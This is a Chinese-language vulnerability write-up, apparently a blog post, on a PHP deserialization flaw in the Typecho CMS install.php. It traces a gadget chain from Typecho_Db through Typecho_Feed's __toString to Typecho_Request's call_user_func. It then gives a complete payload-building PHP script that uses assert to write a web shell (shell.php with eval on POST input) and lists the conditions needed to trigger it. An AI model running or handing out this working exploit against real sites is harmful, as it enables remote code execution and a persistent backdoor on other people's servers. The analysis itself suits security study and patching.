typecho反序列化分析

分析

1.install.php

install.php中存在unserialize函数,__typecho_config可控。值被作为参数传入类Typecho_Db

imgbed.cn图床

2./var/Typecho/Cookie.php

Typecho_Cookie::get方法从Cookie或者是POST数组中获取数据

imgbed.cn图床

3./var/Typecho/Db.php

跟进类Typecho_Db,传入的参数被作为字符串拼接,触发__toString(),全局搜索toString

imgbed.cn图床

4./var/Typecho/Feed.php中存在可利用toString方法

满足条件self::RSS2 == $this->_type执行下面的语句,如果$item[‘author’]是一个类,就会触发__get()方法,开始全局搜索get方法

1
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

imgbed.cn图床

5./var/Typecho/request.php

request.php中Typecho_Request类存在__get()方法,__get()含有一个参数,即要获取的成员属性的名称,$key=’screenName’

imgbed.cn图床

6.跟进get方法

imgbed.cn图床

6.跟进_applyFilter方法,发现call_user_func函数,到达终点。filter属性为要执行的函数,$value来源为传入参数,在get函数中被$value = $this->_params[$key]赋值,来源于属性_params。$this->_params[$key]等于$this->_params['screenName']

imgbed.cn图床

构造利用链

令Typecho_Db类中的$adapterName=$config[‘adapter’]等于Feed.php中的Typecho_Feed类,创建一个数组$a=array(‘adapter’ =>new Typecho_Feed(),’prefix’ => ‘typecho_’)

令Typecho_Feed类中的$item[‘author’]等于Typecho_Request类

令Typecho_Request类中的属性_params=array('screenName'=>'file_put_contents("shell.php", "<?php @eval(\$_POST[\'a\']); ?>")')

令Typecho_Request类中的属性_filter=array(‘assert’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class Typecho_Request
{
private $_filter = array();
private $_params = array();

public function __construct(){
$this->_filter[0] = 'assert';
$this->_params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[\'a\']); ?>")';
}
}



class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();

public function __construct()
{
$this->_type=self::RSS2;
$this->_items[0]=array('author'=>new Typecho_Request());
}

}

$a=array('adapter' =>new Typecho_Feed(),'prefix' => 'typecho_');
echo urlencode(base64_encode(serialize($a)));

利用条件

install.php中要求触发反序列化需要满足两个条件

必须有GET参数finish

Refer必须为本站链接,如http://127.0.0.1/typecho

imgbed.cn图床

利用结果

imgbed.cn图床

写入成功

imgbed.cn图床